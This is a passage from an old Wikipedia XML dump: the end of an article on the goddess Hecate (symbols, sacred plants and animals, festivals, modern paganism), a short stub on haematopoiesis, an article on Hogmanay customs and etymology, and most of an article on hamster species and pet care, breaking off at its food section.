The torch is presumably a symbol of the light that illuminates the darkness, as the Greeks secured Hecate in her role as the bringer of wisdom. Her knife represents her role as midwife in cutting the umbilical cord (possibly symbolized by the rope), as well as severing the link between the body and spirit at death. This may be the origin of the traditional ritual knives of witches. The key is significant to Hecate's role as gatekeeper, being the one who could open the doors to sacred knowledge. The Orphic Hymns list her as the &quot;keybearing Queen of the entire Cosmos.&quot; The pomegranate was seen by the Ancient Greeks as the fruit of the underworld, though it was also used as a love-gift between Greek men and women. This may be because a pomegranate was eaten by Persephone, binding her to the underworld and to Hades.

In the so-called &quot;[[Chaldean Oracles]]&quot; that were edited in Alexandria, she was also associated with a serpentine maze around a spiral, known as Hecate's wheel (the &quot;Strophalos of Hecate&quot;, verse 194 of Isaac Preston Cory's 1836 translation). The symbolism referred to the serpent's power of rebirth, to the labyrinth of knowledge through which Hecate could lead mankind, and to the flame of life itself: &quot;The life-producing bosom of Hecate, that Living Flame which clothes itself in Matter to manifest Existence&quot; (verse 55 of Cory's translation of the [[Chaldean Oracles]]).

===Animals===
The she-[[dog]] is the animal most commonly associated with Hecate. She was sometimes called the 'Black she-dog' and black dogs were once sacrificed to her in purification rituals. At Colophon in Thrace, Hecate might be manifest as a dog. The sound of barking dogs was the first sign of her approach in Greek and Roman literature. The [[frog]], significantly a creature that can cross between two elements, is also sacred to Hecate {{fact}}. As a triple goddess, she sometimes appears with three heads-one each of a dog, horse, and bear or of dog, serpent and lion.

During the Medieval period in western Europe, Hecate was reverenced by witches who adopted parts of her mythos as their goddess of sorcery. Because Hecate had already been much maligned by the late Roman period, Christians of the era found it easy to vilify her image. Thus were all her creatures also considered &quot;creatures of darkness&quot;; however, the history of creatures such as ravens, night-owls, snakes, scorpions, asses, bats, horses, bears, and lions as her creatures is not always a dark and frightening one. (Rabinowitz)

===Plants and herbs=== 
The [[Taxus baccata|yew]], [[Mediterranean Cypress|cypress]], [[hazel]], [[black poplar]], [[cedar]], and [[willow]] are all sacred to Hecate {{fact}}. 

The leaves of the black poplar are dark on one side and light on the other, symbolizing the boundary between the worlds. The yew has long been associated with the Underworld. 

The yew has strong associations with death as well as rebirth. A poison prepared from the seeds was used on arrows {{fact}}, and yew wood was commonly used to make bows and dagger hilts. The potion in Hecate's cauldron contains 'slips of yew'. Yew berries carry Hecate's power, and can bring wisdom or death. The seeds are highly poisonous, but the fleshy, coral-colored 'berry' surrounding it is not. If prepared correctly, the berry can cause visual hallucinations (Ratsch).

Many other herbs and plants are associated with Hecate, including [[garlic]], [[almond]]s, [[lavender]], [[thyme]], [[myrrh]], [[mugwort]], [[cardamon]], [[mint]], [[dandelion]], [[hellebore]], and [[lesser celandine]]. Several poisons and [[Psychedelics, dissociatives and deliriants | hallucinogen]]s are linked to Hecate, including [[belladonna]], [[hemlock]], [[mandrake]], [[aconite]] (known as hecateis), and [[opium poppy]]. Many of Hecate's plants were those that can be used shamanistically to achieve varyings states of consciousness.

===Places===
Wild areas, forests, borders, city walls and doorways, crossroads, and graveyards are all associated with Hecate.

It is often stated that the moon is sacred to Hecate. This is argued against by [[Farnell]] (1896, p.4):
:''Some of the late writers on mythology, such as Cornutus and Cleomedes, and some of the modern, such as Preller and the writer in [[W. H. Roscher|Roscher]]'s Lexicon and Petersen, explain the three figures as symbols of the three phases of the moon. But very little can be said in favour of this, and very much against it. In the first place, the statue of Alcamenes represented Hekate Επιπυργιδια, whom the Athenian of that period regarded as the warder of the gate of his Acropolis, and as associated in this particular spot with the [[Charites]], deities of the life that blossoms and yields fruit. Neither in this place nor before the door of the citizen's house did she appear as a lunar goddess.''
:''We may also ask, why should a divinity who was sometimes regarded as the moon, but had many other and even more important connexions, be given three forms to mark the three phases of the moon, and why should Greek sculpture have been in this solitary instance guilty of a frigid astronomical symbolism, while [[Selene]], who was obviously the moon and nothing else, was never treated in this way? With as much taste and propriety [[Helios]] might have been given twelve heads.''

Despite this, [[neopaganism]] still often includes Hecate among the lunar goddesses {{fact}}.

==Festivals==
Hecate was worshipped by both the Greeks and the Romans who had their own festivals dedicated to her. According to Ruickbie (2004:19) the Greeks observed two days sacred to Hecate, one on the 13th of August and one on the 30th of November, whilst the Romans observed the 29th of every month as her sacred day.

==Cross-cultural parallels==
The figure of Hecate can often be associated with the figure of [[Isis]] in Egyptian myth, mainly due to her role as sorceress. In Hebrew myth she is often compared to the figure of [[Lilith]] and the [[Whore of Babylon]] in later Christian tradition. Both were symbols of [[liminal]] points, and [[Lilith]] also has a role in sorcery. Some scholars ultimately compare her to the [[Mary, the mother of Jesus|Virgin Mary]].

Before she became associated with Greek mythology, she had many similarities with [[Artemis]] (wilderness, and watching over wedding ceremonies) and [[Hera]] (child rearing and the protection of young men or heroes, and watching over wedding ceremonies).

==Hecate in literature==
[[Image:Hecate-blake.jpg|thumb|right|Depiction of Hecate by [[Blake]].]]

Hecate is a character in [[William Shakespeare]]'s tragedy ''[[Macbeth]]'', which was first played circa 1605; she is represented as a goddess or demon who commands the three witches. There is some evidence to suggest that the character and the scenes or portions thereof in which she appears (Act III, Scene v, and a portion of Act IV, Scene i) were not written by Shakespeare, but was added during a revision by [[Thomas Middleton]], who used material from his own play ''[[The Witch]]'', which was produced in [[1615]]. Most modern texts of ''Macbeth'' indicate the interpolations.

Hecate is used by [[William Blake]] in a number of his paintings and poems.

==Hecate in popular culture==
More recently, Hecate has appeared in [[Mike Mignola]]'s [[Hellboy]] comics. 

She is also heavily mentioned in the popular TV series [[Buffy the Vampire Slayer]] by [[wiccans]] and other characters casting spells.

[[Hecate Enthroned]] are an English [[black metal]] band.

Hecate is also the name taken by one of the Twenty Titans in Legends of Dune by Brian Herbert and Kevin J. Anderson.

In Charmed, Hecate appears as a demon who comes to earth every two hundred years to seduce a mortal man and with him have a child, then kill him and raise the baby to become a demon. She is thought to be the mother of Cole Turner (Belthazor).

== Hecate in modern magic ==
In modern times, she has become popular in [[Paganism]] and [[Wicca]], largely due to her association as the goddess of sorcery.

In modern Paganism Hecate can take numerous roles. Modern [[neopaganism|Neopagans]], particularly ''Hellenistic'' [[sect]]s in the [[United States]], often view Hecate as a goddess of magic. Hecate is not seen as a necessarily benevolent goddess, and her favor is often seen as fickle. Hecate is thought to grant magical power to those who please her and sometimes punish those who displease her. Examples of punishment may include inflicting madness in some cases, or sickness, posion, and disease in others. However Hecate is not thought to be malevolent, and to those who gain her favor she is thought to grant boons, including relief from pain, ease in childbirth, and the curing of disease and physical ailments.

Worship of Hecate can take many forms. In some cases [[animal sacrifice]]s have been alleged. Most modern pagans actively discourage the practice of animal sacrifice, in part due to fear of being associated with [[Satanism]] and in part due to concerns for the humane treatment of animals. 

Hecate is thought to favor those who show conviction, commitment, and adoration for her, which leads many to conduct chanting and prostration in the hope of gaining favor and magical power. The most common forms of worship include prostration, chanting adoration for Hecate, fasting, the collecting of lanterns, the burning of oils and incense, and the burning and bread and other foods as sacrifices. According to some pagan websites Hecate is worshipped by both men and women evenly. 

Many groups worship [[Artemis]] instead due to Hecate's supposedly fickle nature and lack of benevolence. Other gods commonly worshipped by such groups are [[Theia]] and [[Hyperion (mythology)|Hyperion]].

In modern some modern pagan beliefs, wild animals are sacred to Hecate. However, creatures of darkness &amp;mdash; such as [[raven]]s, [[owl]]s, and [[snake]]s &amp;mdash; are most commonly used. [[Dragon]]s have been included in this list more recently, but are not a traditional Greek association with this goddess. Several images of Hecate show her holding a snake. Snakes have long been connected with [[chthonic]] powers and the powers of life, death, and rebirth (see [[Serpent (symbolism)|Serpent]]).

== Queen of ghosts ==

'''Queen of Ghosts''' a title associated with [[Hecate]] due to the belief that she can both prevent harm from leaving, but also allow harm to enter from the spirit world.

Hecate thus has a role and special power in graveyards.

This association also played a large part in the idea of [[Hecate]] as a [[lunar goddess]].

==References==

===Notes===

&lt;references/&gt;

===Primary sources===

* [[Hesiod]], ''Theogony, Works and Days''. An English translation is [http://www.sacred-texts.com/cla/hesiod/theogony.htm available online]
* [[Pausanias]], ''Description of Greece''.
* [[Strabo]], ''Geography''

===Secondary sources===

* Burkert, Walter. ''Greek Religion: Archaic and Classical'', (1987). Oxford, Blackwell. ISBN 0631156240.
* Lewis Richard Farnell, (1896). &quot;Hecate in Art&quot;, ''The Cults of the Greek States''. [[Oxford University Press]], [[Oxford]]. 
*Johnston, Sarah Iles, (1990). ''Hekate Soteira: A Study of Hekate's Role in the Chaldean Oracles and Related Literature''. 
*Johnston, Sarah Iles, (1991). ''Restless Dead: Encounters Between the Living and the Dead in Ancient Greece''. ISBN 0520217071
* Mallarmé, Stephane, (1880). ''Les Dieux Antiques, nouvelle mythologie illustrée''.

==Bibliography==

*[[Walter Burkert|Burkert, Walter]], 1985. ''Greek Religion'' (Cambridge: Harvard University Press)
*[[Johnston, Sarah Iles]]. ''Hekate Soteira: A Study of Hekate's Role in the Chaldean Oracles and Related Literature''. 1990.
*[[Johnston, Sarah Iles]]. ''Restless Dead: Encounters Between the Living and the Dead in Ancient Greece''. 1991. 
*[[Karl Kerenyi|Kerenyi, Karl]]. ''The Gods of the Greeks''. 1951.
*[[Rabinowitz,Jacob]]. ''The Rotting Goddess''. 1990. A work which views studies Hekate from the perspective of [[Mircea Eliade]]'s  archetypes]], and substantiates its claims through cross-cultural comparisons. The work has been sharply criticized by Classics scholars, some dismissing Rabinowitz as [http://ccat.sas.upenn.edu/bmcr/1998/98.5.11.html a neo-pagan]. 
*[[Ruickbie, Leo]]. ''Witchcraft Out of the Shadows: A Complete History''. Robert Hale, 2004.

== External links ==
*[http://www.hekate.nu Frequently Asked Questions about Hekate]
*[http://21.1911encyclopedia.org/H/HE/HECATE.htm ''Encyclopaedia Britanica'' 1911:] &quot;Hecate&quot;
*[http://www.goddessmystic.com/CoreCurriculum/Goddesses/Hekate/index.shtml Hekate: Guardian at the Gate]
*[http://www.theoi.com/Ouranos/Hekate.html Theoi article on Hecate]
*[http://www.islandnet.com/~hornowl.html Hecate in Early Greek Religion]
*[http://www.granta.demon.co.uk/arsm/jg/hekate.html Hekate in Greek esotericism]: Ptolemaic and Gnostic transformations of Hecate
*[http://www.beazley.ox.ac.uk/CGPrograms/Cast/image/D083.jpg cast of the Crannon statue], at the Ashmolean Museum, Oxford.

----
{{Commonscat|Hecate}}
* '''[[100 Hekate]]''' is an [[asteroid]].
* [[Hecate (artist)|Hecate]] is also the stage name of [[breakcore]] artist Rachael Kozak

[[Category:Greek goddesses]]
[[Category:Roman goddesses]]
[[Category:Lunar goddesses]]
[[Category:Witchcraft]]
[[Category:Crossroads mythology]]

[[ast:Hécate]]
[[bg:Хеката]]
[[cs:Hekaté]]
[[da:Hekate]]
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[[eo:Hekato]]
[[fr:Hécate]]
[[it:Ecate]]
[[lt:Hekatė]]
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[[ja:ヘカテ]]
[[no:Hekate]]
[[pl:Hekate (mitologia)]]
[[pt:Hécate]]
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[[sv:Hekate]]</text>
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  </page>
  <page>
    <title>Haematopoietic stem cell</title>
    <id>14373</id>
    <revision>
      <id>27586452</id>
      <timestamp>2005-11-07T03:20:32Z</timestamp>
      <contributor>
        <username>Gaff</username>
        <id>500937</id>
      </contributor>
      <comment>#Redirect [[Pluripotential hemopoietic stem cell]]</comment>
      <text xml:space="preserve">#Redirect [[Pluripotential hemopoietic stem cell]]</text>
    </revision>
  </page>
  <page>
    <title>Haematopoiesis</title>
    <id>14374</id>
    <revision>
      <id>40548174</id>
      <timestamp>2006-02-21T09:51:14Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: cs</comment>
      <text xml:space="preserve">'''Haematopoiesis''' is the formation of [[blood]] cellular components. This can occur in [[myeloid]] tissue, which is found in the [[bone marrow]] and [[lymphatic]] tissue, such as [[lymph nodes]] or the [[spleen]]. All of the cellular components of the blood are derived from [[pluripotential hemopoietic stem cell|haematopoietic stem cells]].

In developing embryos, blood formation occurs in aggregates of blood cells, called [[blood islands]]. As development progresses, the blood formation will occur in the [[spleen]], [[liver]] and [[lymph nodes]]. When bone marrow becomes developed, it will assume the task of forming most of the [[erythrocytes]] and [[granulocytes]]. Lymphoid organs continue to produce most of the mature [[lymphocytes]] and [[monocytes]], though lymphoid progenitor cells originate in the bone marrow. While most of the haematopoiesis in adults occurs in the bone marrow of the [[femur]]s (also the [[rib]]s and [[sternum]]), the liver, thymus, and spleen may resume their haematopoietic function if necessary (called ''extramedullary haematopoiesis'').

In some vertebrate forms, haematopoiesis can occur wherever there is a loose [[stroma]] of connective tissue and slow blood supply, such as the [[gut]], [[spleen]], [[kidney]] or [[ovaries]]. 

{{med-stub}}

==External links==
* [http://www.mcl.tulane.edu/classware/pathology/Krause/Blood/HP.html Tulane]

[[Category:Blood cells]]

[[cs:Krvetvorba]]
[[fr:Hématopoïèse]]
[[ru:Гемопоэз]]</text>
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  </page>
  <page>
    <title>Hogmanay</title>
    <id>14375</id>
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      <comment>Reverted edits by [[Special:Contributions/212.142.143.114|212.142.143.114]] to last version by 123456nbvdfgghj</comment>
      <text xml:space="preserve">'''Hogmanay''' ([[Scottish English|pronounced]] {{IPA|[&amp;#716;hɔgm&amp;#601;'ne:]}} &amp;mdash; with the main stress on the last syllable - hog-muh-NAY) is the [[Scots Language|Scots]] word for the last day of the year and is synonymous with the celebration of the [[New Year]] in the Scottish manner.  Its official date is the [[31 December]].  However this is normally only the start of a celebration which lasts through the night until the morning of the [[1 January]] or, in many cases, [[2 January]].

==Origins==
The roots of Hogmanay reach back to the [[Paganism|pagan]] celebration of the [[winter solstice]]. In [[Europe]], this evolved into the ancient celebration of [[Saturnalia]], a great [[Ancient Rome|Roman]] [[winter]] festival, where people celebrated completely free of restraint and inhibition. The [[Viking]]s celebrated [[Yule]], which later became the [[Twelve Days of Christmas]], or the &quot;Daft Days&quot; as they were sometimes called in Scotland. The winter festival went underground with the [[Protestant Reformation]] and ensuing years, but re-emerged near the end of the [[17th century]].

==Customs==
There are many customs, both national and local, associated with Hogmanay.  The most widespread national custom is the practice of ''[[First-Foot|first-footing]]'' which starts immediately after midnight.  This involves being the first person to cross the threshold of a friend or neighbour and often involves the giving of symbolic gifts such as salt (less common today), coal, [[shortbread]], whisky, and black bun (a fruit pudding) intended to bring different kinds of luck to the householder.  Food and drink are then given to the guests.  This may go on throughout the early hours of the morning and well into the next day. The first-foot is supposed to set the luck for the rest of the year, so it is important that a suitable person does the job. A tall, handsome, and dark-haired man bearing a gift is strongly preferred.  According to popular folklore, a man with dark hair was welcomed because he was assumed to be a fellow Scotsman; a blonde or red haired stranger was assumed to be an unwelcome [[Norseman]].

An example of a local Hogmanay custom is the fireball swinging which takes place in [[Stonehaven, Scotland|Stonehaven]], [[Kincardineshire]] in north-east Scotland.  This involves local people making up ''balls'' of chicken wire, tar, paper and other flammable material to a diameter of about a metre.  Each ball has 2 m of wire, chain or non-flammable rope attached.  The balls are then each assigned to a swinger who swings the ball round and round their head and body by the rope while walking through the streets of [[Stonehaven, Scotland|Stonehaven]] from the harbour to the Sheriff court and back.  At the end of the ceremony any fireballs which are still burning are cast into the harbour.  Many people enjoy this display which is more impressive in the dark than it would be during the day.  As a result large crowds flock to the town to see it.

The Hogmanay custom of singing [[Auld Lang Syne]] (a traditional poem reinterpreted by [[Robert Burns]] which was later set to music is commonly practiced), has become common in many countries.  When sang outside Scotland the words are often corrupted with a common mistake being to sing &quot;For the Sake of Auld Lang Syne&quot; in the place of &quot;For auld lang syne!&quot;

==Presbyterian Influence==
The Presbyterian Church generally disapproved of Hogmanay.  The following quote is one of the first mentions of the holiday in official church records:

&quot;It is ordinary among some plebeians in the South of Scotland to go about from door to door upon New-years Eve, crying Hagmane.&quot; ''1692 Scotch Presbyterian Eloquence'' (ed. 2) p82.

Until the [[1960s]], Hogmanay and Ne'erday (a contraction of &quot;New Year's Day&quot; in Scots dialect, according to the OED) in Scotland took the place of Christmas Eve and Christmas Day in the rest of the UK.  Although Christmas Day held its normal religious nature, the Presbyterian national church, the [[Church of Scotland]], had discouraged its celebration for over 300 years.  As a result Christmas Day was a normal working day in Scotland until the 1960s and even into the [[1970s]] in some areas.  The gift-giving, public holidays and feasting associated with mid-winter were held between the [[31 December]] and [[2 January]] rather than between [[24 December]] and [[26 December]].  

With the fading of the Church's influence and the introduction of English cultural values via television and immigration, the transition to Christmas feasting was well-nigh complete by the [[1980s]].  However, [[1 January]] and [[2 January]] remain public holidays in Scotland, despite the addition of Christmas Day and Boxing Day to the public holiday list, and Hogmanay still is associated with as much celebration as Christmas in Scotland.  Most Scots still celebrate Ne'erday with a special dinner, usually [[steak pie]].

==Ne'erday==
When Ne'erday falls on a Sunday, [[3 January]] becomes an additional public holiday in Scotland; when Ne'erday falls on a Saturday, both [[3 January]] and [[4 January]] will be public holidays in Scotland.
 
As in the rest of the world, the four largest Scottish cities, [[Glasgow]], [[Edinburgh]], [[Aberdeen]] and [[Dundee]], hold all-night celebrations, as does [[Stirling]].  The Edinburgh Hogmanay celebrations are among the largest in the world, though in 2003-4 most of the organised events were cancelled at short notice due to very high winds.

==Handsel Day==

Historically presents were given in Scotland on the first Monday of the New Year.  This would be celebrated often by the employer giving his staff presents and parents giving children presents.  A roast dinner would be eaten to celebrate the festival.  Handsel was a word for gift box and hence Handsel Day.  In modern Scotland this practice has died out.

==Etymology==
The [[etymology]] of the word is obscure.  Suggestions that have been made include:
* [[Scottish Gaelic language|Scottish Gaelic]] ''h' og maidne'' (&quot;new morning&quot;) 
* The Gaelic expression &quot;theacht mean oiche&quot; (&quot;the arrival of midnight&quot;, pronounced &quot;heacht meawn eehe&quot;)
* Gaelic ''ocht mean oiche'' (&quot;eighth midnight&quot; (from Christmas))
* [[Old English language|Old English]] ''haleg mona&amp;thorn;'' (&quot;Holy Month&quot;)
* [[Norman language|Norman]] ''hoguinané''
* [[Manx]] word [[Hop-tu-Naa]] (31st October) - the Old Celtic new year.
**Compare the obsolete customs in [[Jersey]] of crying ''ma hodgîngnole'', and in [[Guernsey]] of asking for an ''oguinane'', for a New Year gift
* [[Old French]] ''anguillanneuf'' (&quot;gift at New Year&quot;)
* [[French language|French]] ''au gui mener'' (&quot;lead to the mistletoe&quot;), ''au gui l'an neuf'' (&quot;to the mistletoe the new year&quot;), ''(l')homme est né'' (&quot;(the) man is born&quot;)
* [[Flemish language|Flemish]] ''hoog min dag'' (&quot;day of great love&quot;)
* [[Greek language|Greek]] ''αγια μηνη'' (&quot;holy month&quot;)
* [[Spanish language|Spanish]] ''[[aguinaldo]]'' (&quot;Christmas gift&quot;)

However none of these is more than guesswork.  ''Brand's Popular Antiquities'' (1859) describes a custom in [[Kent]] of ''going a hodening'' at Christmas, going round the houses in procession and singing carols, accompanied by a sort of hobby-horse.

==References==
*''Observations on the Popular Antiquities of Great Britain'', Brand, London, 1859
*''Dictiounnaire Angllais-Guernesiais'', de Garis, Chichester, 1982
*''Dictionnaire Jersiais-Français'', Le Maistre, Jersey, 1966
*''1692 Scotch Presbyterian Eloquence'', Edinburgh

==External links==
*[http://www.hogmanay.net/ Hogmanay.net - the home of Scotland's Hogmanay]
*[http://www.edinburghshogmanay.org/ Edinburgh's Hogmanay Official Web Site]
*[http://www.thebookofdays.com/months/jan/4.htm Handsel Day Page on The Book of Days]
[[Category:Scottish culture]]
[[Category:Winter holidays]]
[[Category:Christmas-linked holidays]]
[[Category:New Year celebrations]]

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  <page>
    <title>Hamster</title>
    <id>14376</id>
    <revision>
      <id>42131653</id>
      <timestamp>2006-03-04T00:55:56Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
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      <comment>Reverted edits by [[Special:Contributions/207.155.16.101|207.155.16.101]] ([[User talk:207.155.16.101|Talk]]) to last version by TigerShark</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Hamsters
| fossil_range = Middle [[Miocene]] - Recent
| image = Dwarf hamster.eruanne.png
| image_caption = A dwarf hamster
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Rodentia]]
| subordo = [[Sciurognathi]]
| infraordo = [[Myodonta]]
| superfamilia = [[Muroidea]]
| familia = [[Cricetidae]]
| subfamilia = '''Cricetinae'''
| subfamilia_authority = [[Johann Fischer von Waldheim|Fischer de Waldheim]], 1817
| subdivision_ranks = Genera
| subdivision = 
*''[[Cricetus]]''
*''[[Mesocricetus]]''
*''[[Cricetulus]]''
*''[[Phodopus]]''
}}
A '''hamster''' is a [[rodent]] belonging to [[subfamily]] '''Cricetinae'''. The name hamster was originally a [[German language|German]] word (&quot;hamstern&quot; meaning to hoard). The subfamily contains about 18 [[species]], classified in six or seven [[genus|genera]].  Most have expandable cheek pouches, which reach from their cheeks to their shoulders. Hamsters are sometimes used in lab experiments  (because they can reproduce quickly), along with [[rats]], [[mouse|mice]], and many other rodents.

==Species of hamsters==
The best known species is the Syrian Hamster, also known as the [[Golden Hamster]], ''Mesocricetus auratus'', which is commonly kept as a [[pet]]. Two other varieties of hamster are also growing in popularity as pets, the closely related [[Dwarf Campbell's Russian Hamster]] (''Phodopus campbelli'') and the [[Winter White Russian Hamster]] (''P. sungorus'').  Two further species (the [[Chinese Hamster]] ''Cricetulus curtatus'' and the [[Roborovski Hamster]] (''Phodopus roborovskii'') can be found on occasion. Also extremely popular since its discovery around 1985 or 1986 is a mutation of the Syrian Hamster known as the &quot;Black Bear&quot; hamster; more docile than most hamsters, it is black with a white patch of fur at the neck. The reported docility of the Black Bear hamster is not however related to the black color, but rather to the more careful breeding of these animals. A badly bred &quot;Black Bear&quot; hamster can be just as aggressive as a normal golden hamster.

==Hamster Breeding==
Breeding hamsters means a bit of fighting between opposite sexes. Hamsters are mainly solitary animals except in their litters or in breeding as so. The gestation period for hamster babies, called &quot;pups&quot;, takes only 2 weeks. Proper breeding is around 2 months.

==Hamsters as pets==
[[Image:MillieMillerton.jpg|thumb|A syrian or [[Golden Hamster]], &quot;Mesocricetus auratus&quot;]]
The hamster kept as pet most often is the [[Syrian Hamster]], also called Golden Hamster. So-called '''Teddybear''' or '''Black bear''' hamsters are just variations in color and coat of the Syrian hamster. Four species of smaller hamsters, known as dwarf hamsters, are also popular pets. These are [[Roborovski hamster]], (''Phodopus roborovskii''), the [[Chinese striped hamster]] (''Cricetulus griseus'') and the two subspecies of ''[[Phodopus sungorus]]'', the winter white Russian dwarf hamster (''Phodopus sungorus sungorus'') and Russian Campbell's dwarf hamster (''Phodopus sungorus campellii''). The care of the dwarf hamsters is similar to that of the syrian hamster, but there are differences in feeding and housing needs and temperament. Winter whites and Campbell's are fairly popular; in the US, the Campbell variety more so than the winter white, while the reverse holds in [[Europe]]. Roborovski and Chinese-striped hamsters are somewhat more difficult to breed and keep, are usually only available from breeders, and therefore limited to serious rodentia fans. Roborovski are especially not suitable for children.

Hamsters are [[nocturnal animal|nocturnal]] by nature.  Many people prefer them to [[rat]]s, given rats' unsavory reputation (undeserved as pets).  Unlike rats, they are not particularly good at learning tricks but can be entertaining to play with and watch.  They are also much smaller than [[guinea pig]]s, although equally as furry and appealing, so are more appropriate for homes with limited space.

===Housing===
[[Image:Hamstercage.jpg|thumb|Hamster house with wheel and water bottle]]
Hamsters can be kept both in cages and in [[terrarium]]s, both of which are available in pet stores. Cages are easier to carry, their bars can be used for climbing, and they usually include a convenient front door. On the other hand, glass boxes keep hamsters from throwing litter out of their cages, provide a better view into the hamster's home, and create a quieter and more sheltered interior. In general, terrariums are more appropriate for dwarf hamsters, which  are more sensitive to a disquieting environment and which would otherwise need very narrow-grid bars to keep them from slipping through. Middle-sized hamsters, such as the Syrian Hamster, especially enjoy climbing the cage walls.  This, however, is extremely dangerous because the hamster can get its leg caught in the bars and fracture it. On the other hand, bars (the cage should have horizontal and vertical bars) are more open to the outside world; cages might be a better choice for these hamsters. 

Despite the hamster's  small size, appropriate housings should ''always'' have a floor space of at least one square foot. Glass boxes must not be higher than their width to allow for a sufficient air circulation. Although smaller in size, dwarf hamsters should have bigger housings than their larger relatives, at least 80 cm by 40&amp;nbsp;cm (2 feet by 4 feet). The reason for this is that the dwarfs are very active, running and digging a lot, but they often cannot be taken outside their houses for long, because they are not comfortable there and, due to their smaller size, are more endangered when leaving their domicile. Usually hamsters with a bigger and more interesting home will live longer and provide more visual entertainment.

In addition to buying the common housings sold in stores, you can also build customized dwellings. In this case, use only materials that are not dangerous to the animals. [[Plywood]] and wood from [[conifer]]s is not suitable, because hamsters gnaw at their houses and both [[glue]] and [[resin]] are poisonous for them. Using standard water-soluble white wood glue to join pieces of solid wood, such as  [[birch]] or [[beech]] wood, creates a safe environment for the hamster, although you must frequently check that the hamster is not gnawing through the wood. You can also equip a purchased cage with several intermediate levels, connected using stairs. Using wire grid for these platforms instead of solid wood causes serious injuries and is therefore not recommended. 

The narrow and smooth plastic toy housings that can be found in some stores are usually not appropriate as the sole habitat for hamsters. The tight tubes are enclosed, preventing sufficient air circulation, and the plastic surfaces, while easily cleanable, cannot absorb the hamster's urine like natural materials. The result is a damp and uncomfortable climate that is a perfect habitat for [[germ]]s and [[fungus|fungi]]. In addition, synthetic materials are unhealthy when used for gnawing, making plastic tubes, &quot;space stations&quot;, and houses an improper and unnatural (though often expensive) permanent home for hamsters.  Reserve these habitats for supervised play and activity.

The perfect place for the hamster's home is a well-lit room of constant, moderate temperature (18 to 26°C, 64 to 80°F), in a place out of strong sunlight that could cause dangerous heating. Especially when wire cages are used, it is also important to avoid drafts. Though they cannot see very far, hamsters become more relaxed and curious when positioned somewhat above the ground (at least 65&amp;nbsp;cm (2 feet)), from where they can perceive their surroundings.

Cover the inside of the hamster's residence, including all intermediate levels,  with a sufficiently thick layer of wooden litter for rodents, available in pet stores. Although alternative materials may work as well, most of these bear additional threats. Cat litter is  dangerous, because gnawing and eating the chunks is deadly. Cedar and pine based litter/bedding contain an aromatic oil (phenols) which will irritate a hamster's respiratory system so avoid those as well. Litter made from recycled paper/pulp works well to absorb odours and is safe for hamsters.

Hamsters are nest builders and a steady supply of fresh strips of tissue or newspaper (with soy-based ink) allows them to build a secure and comfortable spot in a corner of their enclosure or in their hiding house. Hay, from shops or even fresh from the garden, is also a valuable building material for cozy hamster nests, which, as an additional bonus, is also perfectly edible.

A sand bath can provide a hamster with entertainment and helps them groom.  In the desert (their natural habitat), hamsters will roll around in the sand, which cleans their coat and prevents it from getting too oily.  Dwarf hamsters in particularly enjoy this activity.  Be sure to use a dish that will not tip over.  Heavy ceramic and metal dishes are preferred.  You can fill the dish with fine sand. Avoid sand that is powdery or dusty as it will pose a hazard to a hamster's respiratory system as well.

Regular cleaning of a hamster's home is crucial for the hamster's health.  The home must be cleaned at least once a week by replacing the soiled bedding where necessary.  Hamsters are fairly neat in their bathroom habits; if their enclosure is regularly cleaned, they choose one small location in which to urinate and defecate, making the cleaning simple.  Small hamsters may require slightly less-frequent cleaning (perhaps once every two weeks), and may have many (usually hidden) places used as toilets.

Another important component of a hamster's home is a hiding place where the animal can rest during the day. Not all commercially available houses are adequate. The houses should be of sufficient size and be closed on at least two sides. The same building materials are appropriate for these as for the larger cages, although even a small cardboard box will work (and which will have to be regularly replaced).  Some houses add features such as a removable roof that helps to take away collected food (especially perishable items). 

Syrian hamsters are solitary animals and have to be kept alone once they are mature (around 4 weeks and above). Dwarf hamsters are more likely to accept another house mate. While sometimes two or more animals can live peacefully within one home, there can be bloody fights, so separate them as soon as they fight. In their natural habitat, there is substantially more empty space so that each hamster can have its own large territory. If more than one hamster is to live in a cage, then the cage must be larger (at least 40cm x 40cm per hamster) and there must be separate hiding houses for each animal. In any case, even after a long period of peaceful coexistence or even mating, there can be violent biting. In this situation, the hamsters should be separated immediately. Note also that, if a male and female hamster live together without fighting, then they will usually reproduce rapidly, thereby causing more space problems.

===Gnawing===
Despite their cuddly appearance, hamsters have long, thin, sharp teeth that can pierce a finger that is mistaken for a carrot or for a predator.  When they are accustomed to being handled and are not startled, however, they are not inclined to bite and can be placed in the custody of responsible school-age children. Like many rodents, their teeth grow continuously and they must have appropriate things to chew on to relieve their instinctive gnawing and to help keep the teeth at a healthy length.  They will gnaw on whatever is available, so they must be kept in enclosures that they cannot chew through. When the hamster is kept in or near a bedroom, their nocturnal nature combined with their gnawing  habit can become  distracting.

===Exercise and Entertainment===
[[Image:000_0580.JPG|thumb|A hamster ball]]
Like all pets, hamsters need exercise and entertainment to maintain their physical and mental health.  An exercise wheel allows hamsters to run full speed to their hearts' content, and is a must. As more elaborate enclosures including additional toys such as plastic or wooden tubes that somewhat mimic the burrows that they might have in the wild and allow their owners to enjoy their activities.  Most commercial exercise wheels marketed for hamsters have rungs which are not suitable for hamsters due to the fact that a hamster could get injured in one.

Clear plastic hamster balls or cars are available, into which the hamster is placed and then, by its own action, explores an entire house or yard.  Use these toys ''only'' under supervision and use common sense. Unsupervised hamsters in these toys can become trapped against furniture and panic or they can roll down stairs, injuring themselves.  Do not leave them in these toys for extended periods, especially on warm days, and make sure to remove them frequently and allow them access to water or fresh fruits or vegetables.  Toys should always ''invite'' the hamster to explore and use them at its own will, without forcing or violence. They should only be left in a hamster ball for 10-15 minutes at the most or they can dehydrate.

If they are handled frequently, hamsters enjoy being out of their enclosures and having the opportunity to explore. They can also become very tame if handled frequently. Syrian hamsters will be tame for life once they are tamed, but if neglected, dwarf hamsters will become mean and will bite.  However, they must be kept away from holes in the wall or in large pieces of furniture, because they will seek out the dark and burrow-like confines of those areas and it can be difficult or impossible to convince them to come out again.

===Food===
